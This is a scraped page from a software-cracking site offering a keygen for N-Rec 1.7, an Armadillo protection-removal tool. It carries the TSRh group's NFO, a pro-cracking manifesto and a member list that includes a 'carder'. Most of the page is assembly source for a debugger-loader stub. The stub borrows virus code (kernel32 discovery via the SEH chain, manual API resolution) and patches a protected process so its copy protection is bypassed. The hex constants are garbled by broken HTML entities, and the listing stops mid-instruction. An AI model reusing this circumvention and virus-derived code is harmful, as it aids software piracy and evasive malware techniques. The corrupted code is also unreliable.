CRACK.cd

Don't Pay, We Know Another Way!

Ads

N-REC V1.7

Download the crack/serial/keygen for "N-Rec v1.7".
Download with DSL speed using USENExT.

NFO

tsrh.nfo: яяя я▄▄▄ ▄  ▄▄████▄▄ ▄ яя▄▄▄▄█████▀▀▀ ▄▄▓▄ ▄▓▀ ▀▀▀▀ ▀▓██▄ ████▄ я ▄████████▀▀ ▄▄▄██▀▀ ▀ ▄ ██▌ ▄██▄ ▓██░▐████░ яя▄████▀▓███▓ ▓██▀ ▒▓░█ ▐▓██░ ▐███▐████ ▐███▀ я▒████▌я ▓██▌ ▓██▓ ████ ███▓▐███ ██ я▒███▓ ▀██ ▀█ ▄████ ▒███▌████ ▄▄▄ ▐██▄ ▐███▌я ▀██▄▄ ▐████▌ ▄███▓▐███▓ ▄▄███████▄▄ █▀ я▐███▌   ▀▀▀▓██▓▄▄▄ ████▓ ▄▄▄█▓▀▀ ▓████ ▀ ▀▀█████▄ ▄███▌я ▐▒ ▀▀██▄▄ ▀▓█▌ ▀██▄▄ █████ ████▓▌ ▒███▓я ██▌ ████▌▐█▒ ▀▀██▄▄ ▀▀▓ ░████▓ я ▄▄████▀я ▐███▄▄ ▄▄▄▓██▀▀ ██▌ ▀▀▀█▄▄▄ ▄█▓▀▀ ▐▄ ▀▀▀▀ ▄▓██▀ ▀▀██▄▄██▀▀▀▀ ▀██▀ ▐▓▄▄▄ ▄█▀ ▄▌ ▐█▒▄▄▄ ▀▀▀ ▀▀▀ ▄▄▄▒██ ▀█▓▓▒░ ░▒▓▓█▀ ▀█▓▒░ ░▒▓█▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ p r e s e n t s ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    app [ N-Rec 1.7 ] url [ http://l ooking.for.hosting ] by [ infern0 ] type [ Keygen ] date [ 17-02-2004 ] ▐▄ ▄▌ ▐█▒▄▄▄ ▄▄▒██▌ ▀█▓▓▒▒░ ░▒▒▓▓█▀ ▀█▓▒░ ░▒▓█▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : T A R G E T : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : D E S C R I P T I O N : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ▓▒▌ ▐▒▓ ▒ ▒ ▒ Armadillo nanomites recover tool. Fully automatic mode to dump all ▒ ▒ nanomites tables and resolve Jcc types. Three recover modes ▒ ▒ disassembly, live debug and loader injection. ▒ ▒ - More powerful stub with environment variables support. ▒ ▒ - Armadillo 3.60-3.61 now supported by automatic dumper. ▒ ▒ ▒ ▓▒ ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : R E G I S T E R : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : N O T E S : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ▓▒▌ ▐▒▓ ▒ ▒ ▒ Enjoy using this tool :) ▒ ▒ ▒ ▓▒ ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : J U S T : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ a ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : G A M E : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ░▒▌ ▐▒░ ░▒ now, you are a part of the game, too. all your personal qualities ▒░ ░░ have been logged and u can't exit untill your death. its game of ░░ ░░ information... someone call it illegal, someone can't agree with it ░ ░░ or tries to deny it, it makes one disappoint, or happy, but cracking ░ ░░ force exist without asking for your opinion. the crime of the most ░░ ░░ enthusiasts is that of curiosity, is that of reversing, is that of ░░ ░░ willing to know 'how it must be'. and they explore... they change ░░ ░░ bytes, they unpack, debug and analyze those 'uncrackable routines 9; ░░ ░░ you can't even imagine, and it gives them pleasure, it gives them ░ ░ ░░ knowledge... ░░ ░░ nowdays, many people are envolved into it-related branches of ░░ ░░ industry. lots of ideas and their realizations appear every day. they ░ ░░ make doing specific sums more easier, but software developers want to ░ ░░ get compensation for their 'hard work'. they protect... to the mo st ░ ░░ of them it seems unbeliveable to share their code, getting experience ░ by discussing it, making it better... there is no argue with buying ░ ░ 'really good' apps, their authors never try getting much from it, y ou ░░ ░░ enjoy support and programm for your money, coz author wants to get ░░ ░░ experience, too. he optimizes it, he wants it work better. we want ░░ ░░ more such authors, less those greedy men, who wants you pay for buggy ░░ ░░ shit never worth seeing. best is open source... individuals of even ░░ ░ cracking groups may go down, but challenge will never end... ░░ ▒░ nevertheless its just a game... ░▒ ░▒ ▒░ ▓▒ if freedom is outlawed, only outlaws will have freedom ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ : T S R h T e a M : ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ : M E M B E R S : ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▀▀ ▀▀ ▀    ▄▄ ▀▄ ▄▀ ▄▄ ▄█▓▓▓▓██▄ ▄▒░ ░▒▄ ▄██▓▓▓▓█▄ ▐▒▓▀ ▀▀▓▓▒░▀ ▀░▒▓▓▀▀ ▀▓▒▌ ░▒▌ ▐▒░ ▒░ A C T I V E ░▒ ░░ ░░ ░░ [ B-$hep .................... ] [ founder, cracker .......... ] ░░ ░░ [ Nitrogen .................. ] [ cracker, coder ............ ] ░░ ░░ [ EGOiST .................... ] [ cracker, coder ............ ] ░░ ░░ [ NeRo ...................... ] [ cracker ................... ] ░░ ░░ [ Funbit .................... ] [ cracker, coder ............ ] ░░ ░░ [ ByTESCRK .................. ] [ cracker ................... ] ░░ ░░ [ ReaL|sty .................. ] [ cracker ................... ] ░░ ░░ [ Vepergen .................. ] [ cracker ................... ] ░░ ░░ [ BoOMBoX.................... ] [ cracker.................... ] ░░ ░░ [ QIce ...................... ] [ cracker, coder ............ ] ░░ ░░ [ Geo4ce .................... ] [ carder .................... ] ░░ ░░ [ mR_gANDALF ................ ] [ cracker ................... ] ░░ ░░ [ Bra!NSHiT.................. ] [ cracker.................... ] ░░ ░░ [ MozgC ..................... ] [ cracker.................... ] ░░ ░░ [ infern0 ................... ] [ cracker.................... ] ░ ░ ░░ [ V0land..................... ] [ palm cracker............... ] ░ ░ ░░ ░░ ░░ T R I A L ░░ ░░ ░░ ░░ [ Lz......................... ] [ cracker.................... ] ░░ ░░ ░░ ░░ F R E E Z E D ░░ ░░ ░░ ░░ [ OxEn (ARMY)................ ] [ founder, cracker .......... ] ░░ ░░ [ Spate ..................... ] [ cracker ................... ] ░░ ▒░ [ BruceLee .................. ] [ cracker ................... ] ░▒ ░░ [ Koba Yashi ................ ] [ cracker ................... ] ░░ ▒▒ ▒▒ ▓▒ ▒▓ ▐▓▒▄█▓▓▄ ▄▓▓█▄▒▓▌ ▀▓▓▀ ▓▒▄ ▄▒▓ ▀▓▓▀ ▄█▓▒░     ░▒▓█▄ ▄█▓▓▒▒░ ░ ░ ░▒▒▓▓█▄ █▓▀ ▀▀ ▄▄▓▓▓▓▄▄ ▒░ : C O N T A C T S : ░▒ ▄▄▓▓▓▓▄▄ ▀▀ ▀▓█ ▀▄ ▄█▀▀▀ ▀▀█▓▒░▀ ▀░▒▓█▀▀ ▀▀▀█▄ ▄▀    ▀ ▄  ▀▀ ▀▀  ▄ ▀    ▐░ web [ http://zor.org/tsrh ] ░▌ ░▒ forum [ http://zor.org/tsrhclub ] ▒░ ▐░ irc [ #tsrh (at EFNET) ] ░▌ ▀▄ ▄▀ ▀     nfo.last.updated     ▀ feb-04-2k4 file_id.diz: TSRh TeaM 2004 date: 17-02-2004 ██▀▀▀▀▀▀▀▀▀▀▀█ ▀▀▀▀▓ █▀▀▀▀▀▀▀▀█ █▀▀█ █▀▀▀█ ▓█ █▀█ █▀█ █ ▄ ▀ █ █ █▀█ ░ █ █ █ █ ░ █ ▒▓▄█ ▓ █ █▄▄▓ █ ▀▀▀ ▓ █▄█ ▄▄▓ ▓ █▄█cXc▓ ▒█ █ ▄▄▄▄ ▀█▀▀█ ▒█ █ █▄▄▄▄ ▒█ █ █CPH█ / ░███ █ █▄▄█ █ ░█ █ █ ▄ █ ░███ █ ▄ █ / ▒███ █▓▄▄▄▄▄▄▓█ ▒█▄█ █▄▄▄█ ▒███ █▄▄▄█ N-Rec 1.7 Keygen stub/dbg_loop.asm: ;=========================================================================== ; ; these are source code for stub.bin N-Rec loader. This file contains code ; from Aztec-win32 virus (c) by Billy Belcebu. ; this file need to be compiled using FASM assembler. Then you need to strip ; all headers and store to STUB.BIN only code section till (and including) ; the 'eof' string. ; code are completly unoptimised, it's just VC.Net asm output of correspon- ; ding C routines of N-Rec. ; ; (c) 2004 infern0 / TSRh team ; ; any coments, improved sources and bugreports are welcome to ; infern0_tsrh@tiraet.com or ICQ: 23485245 ; ;=========================================================================== format PE GUI 4.0 entry stubBegin include 'd:\fasm\include\win32a.inc' section '.code' code readable writeable executable ; host parameters hostOEP dd 0ffffffffh ; +0 _nanoCount dd 0eeeeeeeeh ; +4 ; main data pointers _nano_ccad dd 0 ; +8 _nano_jdst dd 0 ; +c _nano_jtyp dd 0 ; +10 _nano_jsiz dd 0 ; +14 _nano_index dd 0 ; +18 _env_block dd 0 ; +1c stubBegin: ; new EP +20 jmp realBegin ; imports addresses @@Namez: db 'CreateProcessA',0 db 'ResumeThread',0 db 'WaitForDebugEvent',0 db 'GetThreadContext',0 db 'SetThreadContext',0 db 'ContinueDebugEvent',0 db 'TerminateProcess',0 db 'CloseHandle',0 db 'VirtualProtectEx',0 db 'ReadProcessMemory',0 db 'WriteProcessMemory',0 db 'ExitProcess',0 db 'GetModuleHandleA',0 db 'LocalFree',0 db 'GetCommandLineA',0 db 'LocalAlloc',0 db 'SetEnvironmentVariableA',0 db 0BBh @@Offsetz: CreateProcessA dd 0 ResumeThread dd 0 WaitForDebugEvent dd 0 GetThreadContext dd 0 SetThreadContext dd 0 ContinueDebugEvent dd 0 TerminateProcess dd 0 CloseHandle dd 0 VirtualProtectEx dd 0 ReadProcessMemory dd 0 WriteProcessMemory dd 0 ExitProcess dd 0 GetModuleHandleA dd 0 LocalFree dd 0 GetCommandLineA dd 0 LocalAlloc dd 0 SetEnvironmentVariableA dd 0 ; internal vars _res db 0 kernel dd 0 AddressTableVA dd 0 NameTableVA dd 0 OrdinalTableVA dd 0 _dbgProcess dd 0 _pCmdLine dd 0 ; internal arrays _short_opcodes db 0xEB, 0x7B, 0x71, 0&# 120;70, 0xE3, 0x72, 0x7E, 0x73, 0 20;7A, 0x78 db 0x74, 0x7F, 0x7C, 0x 79, 0x77, 0x76, 0x7D, 0x75 _longjmp_opcd db 0xE9, 0x00, 0x 8;0, 0x00, 0x00, 0x00, &# 48;x00, 0x00, 0x00, 0x&# 48;0 db 0x00, 0x00, 0x ;00, 0x00, 0x00, 0x00 , 0x00, 0x00 _long_opcodes dw 0x0000, 0x8B0F, &# 48;x810F, 0x800F, 0x0000, 0x820F, 0x8E0F, 0x830F dw 0x8A0F, 0x880F, 0x84& #48;F, 0x8F0F, 0x8C0F, 0x890F, 0& #120;870F, 0x860F, 0x8D0F, 0x850F _threads: repeat 100 dd ? dd ? end repeat ;------------------------------------------------------------------------------- ------------------ realBegin: pushad pushfd call delta delta: pop esi sub esi, delta ; o mov eax, dword [esi+hostOEP] mov dword [esi+oldEIP],eax ; these works only in NT+ systems. fuck!... ; mov ebx, [fs:30h] ; EAX=PEB base ; mov ebx, [ebx+0Ch] ; EAX=PEB_LDR_DATA ; mov ebx, [ebx+1Ch] ; InitOrderModuleList 1st ent ry ; mov ebx, [ebx] ; next entry ; mov ebx, [ebx+8] ; K32 imagebase ; mov dword [esi+kernel], ebx _ReadSEH: xor edx, edx mov eax, [fs:edx] dec edx _SearchK32: cmp [eax], edx je _CheckK32 mov eax, dword [eax] jmp _SearchK32 _CheckK32: mov eax, [eax+4] xor ax, ax _SearchMZ: cmp word [eax], 5A4Dh je _CheckMZ sub eax, 10000h jmp _SearchMZ _CheckMZ: mov edx, [eax+3ch] cmp word [eax+edx], 4550h jne exit mov dword [esi+kernel], eax ; get imports push esi mov ebp, esi ; ebp - delta offset lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs pop esi push 0 call [esi+GetModuleHandleA] mov dword [esi+ModBase], eax ; adjust tables pointers mov ebx, dword [esi+ModBase] add ebx, esi add ebx, 1000h ; ??????? add dword [esi+_nano_ccad], ebx add dword [esi+_nano_jdst], ebx add dword [esi+_nano_jtyp], ebx add dword [esi+_nano_jsiz], ebx add dword [esi+_nano_index], ebx add dword [esi+_env_block], ebx ; check OS run or server run call cmdLineWork cmp eax, -1 jz errRun or eax, eax jnz jmpToHost ; start debug loop call _start exit: mov eax, [esi+_pCmdLine] or eax, eax jz skipFree push eax call [esi+LocalFree] skipFree: mov eax, dword [esi+ExitProcess] mov dword [esi+exitPr],eax popfd popad push 0 ;call [esi+ExitProcess] mov eax, 12345678h exitPr = $-4 jmp eax errRun: ; display some messbox ; ... jmp exit jmpToHost: ; set environment variables mov ebx, [esi+_env_block] ; env block pointer mov edx, [ebx] ; env count add ebx, 4 ; env strings begin or edx, edx jz $env_done $env_loop: push edx xor al, al mov edi, ebx mov ecx, -1 repne scasb push edi ; value push ebx ; name mov ecx, -1 repne scasb mov ebx, edi ; next name call [esi+SetEnvironmentVariableA] ; no don't check for any erro rs, but ... pop edx dec edx jnz $env_loop $env_done: popfd popad mov eax,12345678h oldEIP = $-4 add eax,12345678h ModBase = $-4 jmp eax ;------------------------------------------------------------------------------- ------------------ _len$ = -12 ; size = 4 _p2$ = -8 ; size = 4 _ptr$ = -4 ; size = 4 cmdLineWork: ; 44 : { push ebp mov ebp, esp sub esp, 76 ; 0000&# 48;04cH push ebx push esi push edi ; 45 : char *ptr, *p2; ; 46 : int len; ; 48 : ptr=GetCommandLine(); call DWORD [esi+GetCommandLineA] mov DWORD [_ptr$+ebp], eax ; 49 : p2=ptr; mov eax, DWORD [_ptr$+ebp] mov DWORD [_p2$+ebp], eax ; 50 : len=0; mov DWORD [_len$+ebp], 0 $L74324_: ; 51 : while( *(p2++) ) len++; mov eax, DWORD [_p2$+ebp] movsx ecx, BYTE [eax] mov edx, DWORD [_p2$+ebp] add edx, 1 mov DWORD [_p2$+ebp], edx test ecx, ecx je $L74325 mov eax, DWORD [_len$+ebp] add eax, 1 mov DWORD [_len$+ebp], eax jmp $L74324_ $L74325: ; 52 : // alloc mem for new cmd line ; 53 : _pCmdLine=(char *)LocalAlloc(LPTR, len+10); mov eax, DWORD [_len$+ebp] add eax, 10 ; 00 ;00000aH push eax push 64 ; 0000&# 48;040H call DWORD [esi+LocalAlloc] mov DWORD [esi+_pCmdLine], eax ; 54 : if( !_pCmdLine ) cmp DWORD [esi+_pCmdLine], 0 jne $L74327 ; 55 : return -1; or eax, -1 jmp $L74319 $L74327: ; 56 : // copy cmd line ; 57 : p2=_pCmdLine; mov eax, DWORD [esi+_pCmdLine] mov DWORD [_p2$+ebp], eax $L74329: ; 58 : while( *[) *(p2++)=*(ptr++); mov eax, DWORD [_ptr$+ebp] movsx ecx, BYTE [eax] test ecx, ecx je $L74330 mov eax, DWORD [_p2$+ebp] mov ecx, DWORD [_ptr$+ebp] mov dl, BYTE [ecx] mov BYTE [eax], dl mov eax, DWORD [_p2$+ebp] add eax, 1 mov DWORD [_p2$+ebp], eax mov ecx, DWORD [_ptr$+ebp] add ecx, 1 mov DWORD [_ptr$+ebp], ecx jmp $L74329 $L74330: ; 59 : // check arg ; 60 : p2=_pCmdLine+len-8; mov eax, DWORD [_len$+ebp] mov ecx, DWORD [esi+_pCmdLine] lea edx, DWORD [ecx+eax-8] mov DWORD [_p2$+ebp], edx ; 61 : // '-NRE' ; 62 : // 'CSRV' ; 63 : if( *((dword *)p2+0) == 0x45524e2d && *((dword *)p2+1 ;) == 0x56525343 ) mov eax, DWORD [_p2$+ebp] cmp DWORD [eax], 45524e2dh jne $L74333_ mov eax, DWORD [_p2$+ebp] cmp DWORD [eax+4], 56525343h jne $L74333_ ; 64 : { ; 65 : // this is second run - kill rest of cmdLine ; === CMD LINE CLEAN BUG === ; 66 : p2=_pCmdLine+len-9; ;mov eax, DWORD [_len$+ebp] ;mov ecx, DWORD [esi+_pCmdLine] ; clean need NOT IN ALLOCAT ED MEM BUT IN REAL CMD LINE mov ecx, DWORD [_ptr$+ebp] ;lea edx, DWORD [ecx+eax-9] lea edx, DWORD [ecx-9] mov DWORD [_p2$+ebp], edx ; 67 : *p2=0; mov eax, DWORD [_p2$+ebp] mov BYTE [eax], 0 ; 68 : return 1; mov eax, 1 jmp $L74319 $L74333_: ; 69 : } ; 70 : else ; 71 : { ; 72 : // this is first run - append server param ; 73 : p2=_pCmdLine+len; mov eax, DWORD [esi+_pCmdLine] add eax, DWORD [_len$+ebp] ; *(p2++)=' '; mov byte [eax],20h inc eax mov DWORD [_p2$+ebp], eax ; 74 : *((dword *)p2)=0x45524e2d; // '-NRE' mov eax, DWORD [_p2$+ebp] mov DWORD [eax], 45524e2dh ; 75 : p2+=4; mov eax, DWORD [_p2$+ebp] add eax, 4 mov DWORD [_p2$+ebp], eax ; 76 : *((dword *)p2)=0x56525343; // 'CSRV' mov eax, DWORD [_p2$+ebp] mov DWORD [eax], 56525343h ; 77 : p2+=4; mov eax, DWORD [_p2$+ebp] add eax, 4 mov DWORD [_p2$+ebp], eax ; 78 : *p2=0; mov eax, DWORD [_p2$+ebp] mov BYTE [eax], 0 ; 79 : return 0; xor eax, eax $L74319: ; 80 : } ; 81 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ GetAPIs: @@1: push esi push edi call GetAPI pop edi pop esi stosd xchg edi,esi xor al,al @@2: scasb jnz @@2 xchg edi,esi @@3: cmp byte [esi],0BBh jnz @@1 ret ;------------------------------------------------------------------------------- ------------------ GetAPI: mov edx,esi mov edi,esi xor al,al @_1: scasb jnz @_1 sub edi,esi ; EDI = pазмеp имени функции mov ecx,edi xor eax,eax mov esi,3Ch add esi,[ebp+kernel] lodsw add eax,[ebp+kernel] mov esi,[eax+78h] add esi,1Ch add esi,[ebp+kernel] lea edi,[ebp+AddressTableVA] lodsd add eax,[ebp+kernel] stosd lodsd add eax,[ebp+kernel] push eax ; mov [NameTableVA],eax ; =) stosd lodsd add eax,[ebp+kernel] stosd pop esi xor ebx,ebx @_3: lodsd push esi add eax,[ebp+kernel] mov esi,eax mov edi,edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi inc ebx jmp @_3 @_4: pop esi xchg eax,ebx shl eax,1 add eax,dword [ebp+OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword [ebp+AddressTableVA] mov esi,eax lodsd add eax,[ebp+kernel] ret ;------------------------------------------------------------------------------- ------------------ _i$ = -4 ; size = 4 _ptr$ = 8 ; size = 4 _size$ = 12 ; size = 4 ZeroMemory: ; 40 : { push ebp mov ebp, esp sub esp, 68 ; 0000&# 48;044H push ebx push esi push edi ; 41 : int i; ; 42 : for( i=0; i<size; ++i ) mov DWORD [_i$+ebp], 0 jmp $L74323 $L74324: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74323: mov eax, DWORD [_i$+ebp] cmp eax, DWORD [_size$+ebp] jge $L74321 ; 43 : *(ptr++)=0; mov eax, DWORD [_ptr$+ebp] mov BYTE [eax], 0 mov ecx, DWORD [_ptr$+ebp] add ecx, 1 mov DWORD [_ptr$+ebp], ecx jmp $L74324 $L74321: ; 44 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ tv90 = -984 ; size = 4 _thr$ = -916 ; size = 4 _addr$ = -912 ; size = 4 _code$ = -908 ; size = 4 _dbgStatus$ = -904 ; size = 4 _isExec$ = -900 ; size = 4 _ctx$ = -896 ; size = 71 6 _de$ = -180 ; size = 96 _pi$ = -84 ; size = 16 _si$ = -68 ; size = 68 _start: ; 40 : { push ebp mov ebp, esp sub esp, 984 ; 000 8;03d8H push ebx push esi push edi ; 41 : STARTUPINFO si; ; 42 : PROCESS_INFORMATION pi; ; 43 : DEBUG_EVENT de; ; 44 : CONTEXT ctx; ; 45 : dword isExec, dbgStatus, code, addr; ; 46 : HANDLE thr; ; 48 : ZeroMemory( &si, sizeof(si) ); push 68 ; 0000&# 48;044H lea eax, DWORD [_si$+ebp] push eax call ZeroMemory add esp, 8 ; 49 : si.cb=sizeof(si); mov DWORD [_si$+ebp], 68 ; 00000 044H ; 50 : if( !CreateProcess(NULL, pCmdLine, NULL, NULL, FALSE, ; 51 : CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | NO RMAL_PRIORITY_CLASS, ; 52 : NULL, NULL, &si, &pi) ) lea eax, DWORD [_pi$+ebp] push eax lea ecx, DWORD [_si$+ebp] push ecx push 0 push 0 push 39 ; 000 8;0027H push 0 push 0 push 0 mov edx, DWORD [esi+_pCmdLine] push edx push 0 call DWORD [esi+CreateProcessA] test eax, eax jne $L74333 ; 53 : { ; 54 : return; jmp $L74318 $L74333: ; 55 : } ; 56 : dbgProcess=pi.hProcess; mov eax, DWORD [_pi$+ebp] mov DWORD [esi+_dbgProcess], eax ; 57 : isExec=1; mov DWORD [_isExec$+ebp], 1 ; 58 : // clear static threads array ; 59 : ZeroMemory( threads, sizeof(threads) ); push 800 ; 000 ;00320H lea eax, [esi+_threads] push eax ;push _threads ; o call ZeroMemory add esp, 8 ; 0000 8;00cH ; 60 : AddThread(pi.dwThreadId, pi.hThread); mov eax, DWORD [_pi$+ebp+4] push eax mov ecx, DWORD [_pi$+ebp+12] push ecx call _AddThread add esp, 8 ; 61 : ResumeThread(pi.hThread); mov eax, DWORD [_pi$+ebp+4] push eax call DWORD [esi+ResumeThread] $L74335: ; 62 : while( isExec ) cmp DWORD [_isExec$+ebp], 0 je $L74336 ; 63 : { ; 64 : if( WaitForDebugEvent(&de, 100) ) push 100 ; 00 000064H lea eax, DWORD [_de$+ebp] push eax call DWORD [esi+WaitForDebugEvent] test eax, eax je $L74337 ; 65 : { ; 66 : dbgStatus=DBG_CONTINUE; mov DWORD [_dbgStatus$+ebp], 00010002h ; 67 : switch( de.dwDebugEventCode ) mov eax, DWORD [_de$+ebp] mov DWORD [tv90+ebp], eax mov ecx, DWORD [tv90+ebp] sub ecx, 1 mov DWORD [tv90+ebp], ecx cmp DWORD [tv90+ebp], 8 ja $L74340 mov edx, DWORD [tv90+ebp] mov eax, DWORD [esi+$L74450+edx*4] add eax, esi jmp eax ;jmp DWORD [esi+$L74450+edx*4] $L74343: ; 68 : { ; 69 : case EXCEPTION_DEBUG_EVENT: ; 70 : code=de.u.Exception.ExceptionRecord.Except ionCode; mov eax, DWORD [_de$+ebp+12] mov DWORD [_code$+ebp], eax ; 71 : addr=de.u.Exception.ExceptionRecord.Except ionAddress; mov eax, DWORD [_de$+ebp+24] mov DWORD [_addr$+ebp], eax ; 72 : if( code == EXCEPTION_BREAKPOINT ) cmp DWORD [_code$+ebp], 80000003h jne $L74345 ; 73 : { ; 74 : if( processNanomite(addr) ) mov eax, DWORD [_addr$+ebp] push eax call _processNanomite add esp, 4 test eax, eax je $L74346 ; 75 : { ; 76 : if( (thr=GetThread(de.dwThreadId)) != NULL ) mov eax, DWORD [_de$+ebp+8] push eax call _GetThread add esp, 4 mov DWORD [_thr$+ebp], eax cmp DWORD [_thr$+ebp], 0 je $L74348 ; 77 : { ; 78 : ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_ CONTROL; mov DWORD [_ctx$+ebp], 00010003h ; 79 : GetThreadContext(thr, &ctx); lea eax, DWORD [_ctx$+ebp] push eax mov ecx, DWORD [_thr$+ebp] push ecx call DWORD [esi+GetThreadContext] ; 80 : ctx.Eip--; mov eax, DWORD [_ctx$+ebp+184] sub eax, 1 mov DWORD [_ctx$+ebp+184], eax ; 81 : SetThreadContext(thr, &ctx); lea eax, DWORD [_ctx$+ebp] push eax mov ecx, DWORD [_thr$+ebp] push ecx call DWORD [esi+SetThreadContext] $L74348: ; 82 : } ; 83 : } ; 84 : else jmp $L74349 $L74346: ; 85 : dbgStatus=DBG_CONTINUR; mov DWORD [_dbgStatus$+ebp], 00010002h $L74349: ; 86 : } ; 87 : else jmp $L74351 $L74345: ; 88 : dbgStatus=DBG_EXCEPTION_NOT_HANDLED; mov DWORD [_dbgStatus$+ebp], 80010001h $L74351: ; 89 : break; jmp $L74340 $L74353: ; 90 : case EXIT_PROCESS_DEBUG_EVENT: ; 91 : case RIP_EVENT: ; 92 : isExec=0; mov DWORD [_isExec$+ebp], 0 ; 93 : break; jmp $L74340 $L74354: ; 94 : case CREATE_THREAD_DEBUG_EVENT: ; 95 : AddThread(de.dwThreadId, de.u.CreateThread.hThread); mov eax, DWORD [_de$+ebp+12] push eax mov ecx, DWORD [_de$+ebp+8] push ecx call _AddThread add esp, 8 ; 96 : break; jmp $L74340 $L74355: ; 97 : case EXIT_THREAD_DEBUG_EVENT: ; 98 : DelThread(de.dwThreadId); mov eax, DWORD [_de$+ebp+8] push eax call _DelThread add esp, 4 $L74340: ; 99 : break; ; 100 : } ; 101 : ContinueDebugEvent(de.dwProcessId,de.dwThreadId,dbgSt atus); mov eax, DWORD [_dbgStatus$+ebp] push eax mov ecx, DWORD [_de$+ebp+8] push ecx mov edx, DWORD [_de$+ebp+4] push edx call DWORD [esi+ContinueDebugEvent] $L74337: ; 102 : } ; 103 : } jmp $L74335 $L74336: ; 104 : TerminateProcess(pi.hProcess, 0); push 0 mov eax, DWORD [_pi$+ebp] push eax call DWORD [esi+TerminateProcess] ; 105 : CloseHandle(pi.hThread); mov eax, DWORD [_pi$+ebp+4] push eax call DWORD [esi+CloseHandle] ; 106 : CloseHandle(pi.hProcess); mov eax, DWORD [_pi$+ebp] push eax call DWORD [esi+CloseHandle] $L74318: ; 107 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 $L74450: DD $L74343 DD $L74354 DD $L74340 DD $L74355 DD $L74353 DD $L74340 DD $L74340 DD $L74340 DD $L74353 ;------------------------------------------------------------------------------- ------------------ tv134 = -112 ; size = 4 _bytes$ = -44 ; size = 4 _oldProtect$ = -40 ; size = 4 _processBytes$ = -36 ; size = 16 _dest$ = -20 ; size = 4 _size$ = -14 ; size = 1 _type$ = -13 ; size = 1 _i$ = -12 ; size = 4 _result$ = -8 ; size = 4 _index$ = -4 ; size = 4 _addr$ = 8 ; size = 4 _processNanomite: ; 111 : { push ebp mov ebp, esp sub esp, 112 ; 000 ;00070H push ebx push esi push edi ; 112 : // try to find nano in address table ; 113 : int index,result=0, i; mov DWORD [_result$+ebp], 0 ; 114 : byte type, size; ; 115 : dword dest; ; 116 : unsigned char processBytes[0x10]; ; 117 : unsigned long oldProtect=0, bytes; mov DWORD [_oldProtect$+ebp], 0 ; 118 : ; 119 : for( index=0; index<nanoCount; ++inde&# 120; ) mov DWORD [_index$+ebp], 0 jmp $L74368 $L74369: mov eax, DWORD [_index$+ebp] add eax, 1 mov DWORD [_index$+ebp], eax $L74368: mov eax, DWORD [_index$+ebp] cmp eax, DWORD [esi+_nanoCount] jge $L74370 ; 120 : if( nano_ccad[index]-1 == addr ) mov eax, DWORD [_index$+ebp] mov ecx, DWORD [esi+_nano_ccad] mov edx, DWORD [ecx+eax*4] sub edx, 1 cmp edx, DWORD [_addr$+ebp] jne $L74371 ; 121 : break; jmp $L74370 $L74371: ; 122 : if( index == nanoCount ) jmp $L74369 $L74370: mov eax, DWORD 